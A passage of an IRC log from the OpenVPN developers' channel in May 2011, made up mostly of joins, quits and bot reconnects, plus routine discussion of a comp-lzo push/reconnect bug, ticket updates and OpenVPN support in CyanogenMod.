mode/#openvpn-devel [+o mattock] by ChanServ 01:51 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 01:54 -!- mattock [~samuli@188.238.238.206] has joined #openvpn-devel 01:54 -!- mattock [~samuli@188.238.238.206] has quit [Changing host] 01:54 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:54 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:12 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 276 seconds] 02:43 -!- mattock1 [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:43 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:44 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 02:44 <+krzie> https://forums.openvpn.net/topic7999.html 02:44 <@vpnHelper> Title: OpenVPN Support Forum Please fix Win32/64bit Tap Tunnel Adapter!!! : Wishlist (at forums.openvpn.net) 02:45 <+krzie> this person says he has tested the windows adapter and it gets slow speeds as compared to other vpn technologies 02:46 <+krzie> tomorrow i will try to find time to setup openvpn on 2 XP machines in a lan 02:46 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 02:50 <+krzie> i changed Server protocol: in ACP - server settings to https: 02:50 <+krzie> hoping that changes the RSS links to https 03:06 <+krzie> it did not fix, i changed the setting back 03:11 -!- mattock1 [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 248 seconds] 03:13 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:13 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:16 -!- mattock1 [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:16 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:17 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 03:46 <+krzie> !factoids search windows 03:46 <@vpnHelper> No keys matched that query. 03:47 <+krzie> !factoids search win 03:47 <@vpnHelper> No keys matched that query. 04:04 -!- janjust [~janjust@lena.nikhef.nl] has joined #openvpn-devel 04:04 -!- janjust [~janjust@lena.nikhef.nl] has quit [Changing host] 04:04 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 04:04 -!- mode/#openvpn-devel [+v janjust] by ChanServ 04:40 <+krzie> https://forums.openvpn.net/topic8024.html 04:40 <@vpnHelper> Title: OpenVPN Support Forum Problems with TAP0901 and Hidden (Characteristics=0x89) : Installation Help (at forums.openvpn.net) 05:09 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:09 -!- mode/#openvpn-devel [+o mattock] by ChanServ 05:10 -!- mattock1 [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 06:40 -!- Dark-Fx [~bamcpher@2607:f4b8:7::1] has quit [Remote host closed the connection] 07:06 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 07:53 <@mattock> meeting today? 08:02 <+ecrist> no 08:02 <+ecrist> at least, I won't be there. 08:09 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Remote host closed the connection] 08:09 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 08:09 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 08:14 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Disconnected by services] 08:14 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 08:14 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 08:16 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Disconnected by services] 08:16 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 08:16 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 08:18 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Disconnected by services] 08:18 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 08:18 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 08:20 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Disconnected by services] 08:20 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 08:20 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 08:22 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Disconnected by services] 08:22 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 08:22 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 08:24 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Disconnected by services] 08:24 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 08:24 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 08:26 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Disconnected by services] 08:26 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 08:26 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 08:28 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Disconnected by services] 08:28 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 08:28 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 08:30 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Disconnected by services] 08:30 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 08:30 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 08:32 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Disconnected by services] 08:32 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 08:32 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 08:34 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Disconnected by services] 08:34 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 08:34 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 08:36 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Disconnected by services] 08:36 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 08:36 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 08:38 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Disconnected by services] 08:38 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 08:38 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 08:40 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Disconnected by services] 08:40 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 08:40 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 08:42 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Disconnected by services] 08:42 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 08:42 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 08:44 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Disconnected by services] 08:44 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 08:44 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 08:46 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Disconnected by services] 08:46 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 08:46 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 08:48 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Disconnected by services] 08:48 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 08:48 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 08:50 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Disconnected by services] 08:50 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 08:50 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 08:52 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Disconnected by services] 08:52 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 08:52 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 08:54 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Disconnected by services] 08:54 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 08:54 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 08:56 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Disconnected by services] 08:57 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 08:57 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 08:58 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Disconnected by services] 08:58 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 08:58 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 09:00 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Disconnected by services] 09:00 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 09:00 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 09:02 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Disconnected by services] 09:02 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 09:02 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 09:04 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Disconnected by services] 09:04 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 09:04 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 09:06 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Disconnected by services] 09:06 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 09:06 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 09:08 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Disconnected by services] 09:08 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 09:08 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 09:10 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Disconnected by services] 09:10 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 09:10 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 09:12 -!- Dark-Fx [~bamcpher@dark-fx.com] has joined #openvpn-devel 09:12 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Disconnected by services] 09:12 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 09:12 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 09:13 -!- Dark-Fx [~bamcpher@dark-fx.com] has quit [Client Quit] 09:13 -!- Dark-Fx [~bamcpher@2607:f4b8:7::1] has joined #openvpn-devel 09:13 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Remote host closed the connection] 09:14 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 09:14 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 09:32 <@vpnHelper> RSS Update - tickets: #129: openvpnserv.exe should restart missing openvpn.exe processes <https://community.openvpn.net/openvpn/ticket/129> 09:47 -!- dazo_afk is now known as dazo 09:53 <@dazo> mattock: I can probably be able to manage something ... just arrived Oslo and need to work another 4-5 hours today 09:53 <@mattock> dazo: any specific topics? 09:54 <@dazo> nothing urgent 09:54 <@dazo> it's at least one un-ack'd patch from me on the ML, but that can wait 09:56 <@vpnHelper> RSS Update - wishlist: tunneling <http://forums.openvpn.net/topic8104.html> 10:02 <@vpnHelper> RSS Update - tickets: #130: client byte count should be obtainable per connection <https://community.openvpn.net/openvpn/ticket/130> 10:10 <@mattock> maybe a non-official meeting, then 10:25 <@dazo> yeah, probably the best 11:14 <@vpnHelper> RSS Update - tickets: #131: client management interface user authentication abort inconsistency <https://community.openvpn.net/openvpn/ticket/131> 11:21 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 11:21 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 11:21 -!- mode/#openvpn-devel [+v krzie] by ChanServ 11:26 -!- andj_afk is now known as andj 11:34 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Quit: Leaving] 12:36 -!- raidz [~raidz@46-105-63-15.kimsufi.com] has joined #openvpn-devel 12:36 -!- raidz [~raidz@46-105-63-15.kimsufi.com] has quit [Changing host] 12:36 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 12:36 -!- mode/#openvpn-devel [+o raidz] by ChanServ 12:38 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 12:38 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 12:50 -!- andj is now known as andj_afk 12:54 <+ecrist> ping jamesyonan 12:54 <@jamesyonan> hi 12:55 <+ecrist> hey, I'm working on a potential presentation for next year for BSDCan. Found an old presentation of yours, would you mind if I use it with modifications? 12:55 <+ecrist> http://openvpn.net/papers/BLUG-talk/BLUG-talk.ppt 12:55 <@jamesyonan> sure, no problem 12:56 <+ecrist> excellent. I'll make sure you get credit for that, as well as openvpn itself. ;) 13:49 -!- dazo is now known as dazo_afk 13:50 -!- dazo_afk is now known as dazo 14:33 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 246 seconds] 14:36 -!- andj_afk is now known as andj 15:25 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 15:25 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:14 -!- dazo is now known as dazo_afk 16:22 -!- andj is now known as andj_afk 17:40 -!- Netsplit *.net <-> *.split quits: andj_afk 17:45 -!- Netsplit over, joins: andj_afk 20:50 <+krzie> ecrist, he has another ppt from years ago as well, i link to it in !tcp 20:51 <+krzie> but that one is less technical, more twords ceo types imo 20:59 <+krzie> jamesyonan, very nice presentation 21:03 <+krzie> do you have a video of the actual presentation? 21:15 <+krzie> i found http://www.archive.org/details/HantsLUG_openvpn but it kinda hurts to watch 21:15 <@vpnHelper> Title: OpenVPN : Tony Whitmore : Free Download & Streaming : Internet Archive (at www.archive.org) --- Day changed Fri May 13 2011 00:39 -!- andj_afk is now known as andj 01:00 -!- andj is now known as andj_afk 01:59 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 02:42 -!- dazo_afk is now known as dazo 04:07 <@dazo> krzie: good video ... except that he does the most classic mistake ... copying the whole easy-rsa CA to his OpenVPN server 05:24 <@cron2> heh :) 09:45 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 09:45 -!- mode/#openvpn-devel [+o mattock] by ChanServ 10:31 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 10:47 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 11:43 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 11:44 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:21 -!- andj_afk is now known as andj 13:50 -!- dazo is now known as dazo_afk 14:30 -!- patelx [~patel@openvpn/corp/admin/patel] has quit [Ping timeout: 258 seconds] 14:35 -!- patel [~patel@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has joined #openvpn-devel 15:47 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 16:01 -!- patel [~patel@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has quit [Ping timeout: 276 seconds] 16:15 -!- andj is now known as andj_afk 17:18 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] --- Day changed Sat May 14 2011 00:13 <@vpnHelper> RSS Update - tickets: #132: Font Size Is Too Small <https://community.openvpn.net/openvpn/ticket/132> 00:19 <@vpnHelper> RSS Update - tickets: #133: Context Menu Lacks "Reconnect" Item <https://community.openvpn.net/openvpn/ticket/133> 00:33 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 00:40 <+ecrist> fuck you, ticket 132... 00:40 <+ecrist> ctl+[+] 00:51 < psha> ecrist: excelent bug! :) 00:52 < psha> better design will be Large Glowing string "Something is going on..." 00:59 <+ecrist> lol 01:00 * ecrist actually resonds with said response... 01:02 <+ecrist> fuck them 01:03 <+ecrist> I'm in Ottawa. My credit cards have been declined two days in a row because my banks don't give a shit about me... fuck them. 01:12 -!- andj_afk is now known as andj 02:51 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 05:13 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 05:33 -!- andj is now known as andj_afk 06:12 -!- andj_afk is now known as andj 06:38 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 07:10 <+ecrist> raar 13:18 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 13:18 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:30 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 13:30 -!- mode/#openvpn-devel [+v krzie] by ChanServ 15:51 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 16:32 -!- janjust [~janjust@s5597bc56.adsl.wanadoo.nl] has joined #openvpn-devel 16:32 -!- janjust [~janjust@s5597bc56.adsl.wanadoo.nl] has quit [Changing host] 16:32 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 16:32 -!- mode/#openvpn-devel [+v janjust] by ChanServ 16:32 <+janjust> krzee/krzie: you ain't no longer the top posting dog ;) 16:35 <+krzee> o/ 16:35 <+krzee> you did that rather fast too man! 16:35 <+janjust> lol 16:35 <+krzee> i had at LEAST over a year head start 16:35 <+krzee> granted the forum is way more active than it was back then tho 16:36 <+janjust> true 16:36 <+janjust> you had 2 years - 9 days headstart ;) 16:36 <+krzee> =] 16:37 <+krzee> i just scored my XTC clip 16:37 <+krzee> now i can unlock any htc phones 16:37 <+krzee> yay4krz 16:37 <+janjust> hehe kewl 16:58 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 17:58 -!- andj is now known as andj_afk 20:05 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 260 seconds] 21:35 <@vpnHelper> RSS Update - tickets: #134: Font Size Is Too Small <https://community.openvpn.net/openvpn/ticket/134> 21:50 < Dark-Fx> that's what she said --- Day changed Sun May 15 2011 00:29 -!- krzie [nobody@hemp.ircpimps.org] has joined #openvpn-devel 00:29 -!- krzie [nobody@hemp.ircpimps.org] has quit [Changing host] 00:29 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 00:29 -!- mode/#openvpn-devel [+v krzie] by ChanServ 01:26 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 01:38 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 01:47 -!- andj_afk is now known as andj 02:49 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 03:32 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 03:33 -!- psha [~psha@213.208.162.69] has quit [Client Quit] 03:33 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 04:39 -!- andj is now known as andj_afk 04:43 -!- andj_afk is now known as andj 05:13 -!- andj is now known as andj_afk 05:52 -!- psha [~psha@213.208.162.69] has quit [Read error: No route to host] 05:52 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 08:52 -!- andj_afk is now known as andj 09:40 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 09:40 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 10:55 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:55 -!- mode/#openvpn-devel [+o mattock] by ChanServ 11:50 -!- andj is now known as andj_afk 12:24 <@cron2> *curse* 12:25 * cron2 tries to get his WinXP-VM for compiling OpenVPN back to order 13:12 -!- andj_afk is now known as andj 14:06 -!- andj is now known as andj_afk 14:28 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 15:41 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 16:12 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 17:15 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 17:16 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 17:16 -!- mode/#openvpn-devel [+v krzee] by ChanServ 17:23 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 19:32 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 19:32 -!- mode/#openvpn-devel [+v krzee] by ChanServ 23:52 -!- jamesyonan_ [~jamesyona@ec2-50-17-88-128.compute-1.amazonaws.com] has joined #openvpn-devel 23:52 -!- mode/#openvpn-devel [+o jamesyonan_] by ChanServ 23:52 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Read error: Connection reset by peer] 23:57 -!- jamesyonan_ [~jamesyona@ec2-50-17-88-128.compute-1.amazonaws.com] has quit [Ping timeout: 260 seconds] --- Day changed Mon May 16 2011 00:39 -!- andj_afk is now known as andj 01:04 -!- andj is now known as andj_afk 01:53 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:53 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:03 -!- dazo_afk is now known as dazo 02:12 <@dazo> cron2: if you want to have a chat today about 'git am' and such patch management, just ping me 02:12 <@dazo> (or this week, for that matter) 02:46 <@cron2> dazo: I'm not sure whether "today" is going to work out (too much other stuff left open) but "tomorrow" sounds very much doable :-) - I got my Windows/mingw build system back to operation, and can now actually *test* the windows patch :-) 02:47 <@dazo> cron2: cool! that's very fine with me 02:48 <@cron2> dazo: have you seen the other patch (management = NULL) + ACK on the list? 02:48 <@dazo> cron2: yeah, I have ... haven't had time to answer it yet ... patch is good ... but I'm in favour of merging --enable-small and --disable-management 02:49 <@cron2> let's do it in two steps, then - merge the patch right now, discuss "--enable-small + --disable-management" in the next meeting 02:49 <@dazo> agreed 04:31 <@vpnHelper> RSS Update - tickets: #135: Passtos does not work with freebsd <https://community.openvpn.net/openvpn/ticket/135> 04:58 <+krzee> OpenVPN 2.2 04:58 <+krzee> openvpn 04:58 <+krzee> Section: Maintenance Commands (8) 04:58 <+krzee> Updated: 17 November 2008 04:58 <+krzee> heh 05:05 <@dazo> lol 05:05 <@dazo> we should update that timestamp :-P 05:05 <@dazo> s/time/date/ 05:07 -!- janjust [~janjust@ardeche.nikhef.nl] has joined #openvpn-devel 05:07 -!- janjust [~janjust@ardeche.nikhef.nl] has quit [Changing host] 05:07 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 05:07 -!- mode/#openvpn-devel [+v janjust] by ChanServ 05:10 <@dazo> janjust: hey! If you have time, could you have a quick look at bug ticket #128? ... I'm wondering if I've misunderstood the issue 05:15 <+janjust> hi dazo; I have a hunch, let me run a quick test 05:17 <+janjust> server configured with comp-lzo; 2.2 clietn configured without it ; I'm getting "write to TUN/TAP [State=AT?c Err=[c:\openvpn-build\openvpn-2.2-rc2\tap-win32\tapdrvr.c/2473] #O=2 Tx=[0,0] Rx=[0,4] IrpQ=[1,1,16] PktQ=[0,0,64] InjQ=[0,1,16]]: The data area passed to a system call is too small. (code=122)" ... someone else reported this also... waiting for the reconnect 05:25 <+janjust> ah cute... my hunch is correct 05:26 <+janjust> here's what happens: server is configured using 'comp-lzo' and "push 'comp-lzo'" 05:26 <+janjust> client is configured without either 05:26 <+janjust> first time the client connects there's a comp-lzo mismatch and no packets flow 05:27 <+janjust> if you wait for an automatic restart the *second* time the client connects it *does* configure comp-lzo! 05:35 * cron2 doesn't want to debug *that* 05:35 <+janjust> hehe, I suspect there are more of these 'restart' transient errors in openvpn 05:35 <+janjust> some settings are not cleared up when restarting/reconnecting 05:37 <@dazo> ahh, I see ... yeah, because comp-lzo is "undefined" first, but is then defined after the first round of push 05:37 <@dazo> it makes sense 05:37 <@dazo> thx! 05:37 <+janjust> I've reset the ticket to 'bug' 05:38 <+janjust> whatever the desired behaviour is (either always accept a pushed comp-lzo or not) it should be consistent 05:38 * dazo considers to propose a patch which sets comp-lzo to off by default, instead of undef ... so that a push will set it correctly immediately 05:41 <+janjust> I'm all for it, but it changes the default behaviour 05:42 <@dazo> janjust: if comp-lzo is not defined now ... isn't comp-lzo off, in practice? 05:42 <+janjust> yes, but it's also non-pushable 05:43 <@dazo> yeah, but that's probably more an annoyance than a feature 05:45 <+janjust> yep, I wrote on the openvpn-users mailing list about this on 15/09/2010 05:45 <+janjust> I'm all for the patch 05:56 <@dazo> hmm ... the man page on comp-lzo can be a bit confusing 05:57 <@dazo> ' mode may be "yes", "no", or "adaptive" (default).' .... adaptive is default when --comp-lzo is used with no argument, but --comp-lzo is not enabled by default 06:13 <@dazo> janjust: patch sent to mailing list ... http://thread.gmane.org/gmane.network.openvpn.devel/4650 06:13 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 06:14 <+janjust> I saw the patch; looks good, but it won't solve the 'reconnect' issue, or am I missing something? 06:15 <@dazo> janjust: it will make it behave like --comp-lzo no default if --comp-lzo is not given ... which should make comp-lzo pushable 06:16 <@dazo> unless, --comp-lzo disabled is set ... which will give the old behaviour 06:16 <+janjust> ah doh.. you're circumventing the issue altogether 06:16 <@dazo> yeah, and for me --comp-lzo no makes more sense as a default setting, when lzo is available 06:16 <+janjust> but we do need to test what happens if 'comp-lzo disabled' is specified 06:17 <@dazo> yeah, I've not tested it much ... just a simple compile test 06:17 <@cron2> sounds good (have seen the mail but not read the code yet) 06:17 <@cron2> this is something for 2.2.1 I'd say 06:17 <+janjust> 2.2.1 or 2.2.0.1 or 2.2.0.0-rc634 ? 06:18 <@cron2> whatever, but "not 2.3-ish" 06:18 <@dazo> lol 06:18 <@dazo> yeah, agreed, 2.2 stuff 06:18 <+janjust> just kidding... I fully agree it should be included in 2.2.X 06:18 <@dazo> at least now when we've classified it as a bug 06:31 <@dazo> smoke test (compile + make check) of --disable-lzo and --disable-lzo --enable-lzo-stub completed as well 07:00 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 08:48 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 08:48 -!- mode/#openvpn-devel [+v krzie] by ChanServ 09:41 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 09:41 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 10:01 -!- dazo [~dazo@openvpn/community/developer/dazo] has left #openvpn-devel ["Leaving"] 10:01 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 10:01 -!- mode/#openvpn-devel [+o dazo] by ChanServ 10:31 <+krzie> [08:29] <krzie> ild like to take this moment to say how cool it is that openvpn is built into cyanogenmod7 in the way it is 10:31 <+krzie> [08:29] <EugeneKay> I'd prefer if there was a way to direct-import a .ovpn 10:31 <+krzie> [08:29] <EugeneKay> BUt I'm too lazy/incompetent to submti a patch 10:31 <+krzie> [08:30] <krzie> i do have a suggestion for it tho, would like to find who designs that so i could talk to them / invite them to the openvpn dev channel 10:31 <+krzie> [08:30] <krzie> haha thats exactly my suggestion 10:31 <+krzie> [08:30] * WagZ has quit (Quit: meh.........) 10:31 <+krzie> [08:30] <EugeneKay> I can tell you that, gimme a minute... 10:31 <+krzie> [08:30] <krzie> oh great, thanx 10:31 <+krzie> in cyanogenmod7 you can add an openvpn vpn in the same interface you would add an ipsec or pptp vpn 10:31 <+krzie> its built in well, if it could import a config it would be perfect 10:32 <+krzie> its exactly what ild like to see by default in all android releases (although theyd need to hack around needing root, that can be done as we talked about in a meeting i think 2 weeks ago) 10:45 -!- dazo is now known as dazo_afk 10:51 -!- andj_afk is now known as andj 10:57 <+krzie> https://github.com/CyanogenMod/android_frameworks_base/tree/gingerbread/packages/VpnServices 10:57 <@vpnHelper> Title: packages/VpnServices at gingerbread from CyanogenMod/android_frameworks_base - GitHub (at github.com) 11:02 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 11:08 <+ecrist> their youtube channel has no videos 11:08 <+ecrist> :\ 11:08 <+krzie> whose? 13:20 <+ecrist> cyanogenMod 13:22 <+krzie> ahh 13:22 <+krzie> im really really liking cm7.0.3 13:23 <+krzie> its clean man, so much niceness added to the rom 13:23 <+krzie> openvpn being correctly integrated is just a nice example of what they did overall 13:38 <+ecrist> do they allow other neat things that are missing in base? 15:16 <+krzie> yes, definitely 15:16 <+krzie> including many config options that dont exist in normal roms 15:34 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 16:00 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 16:05 -!- andj is now known as andj_afk 16:50 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 260 seconds] 16:56 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:56 -!- mode/#openvpn-devel [+v krzee] by ChanServ 17:41 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 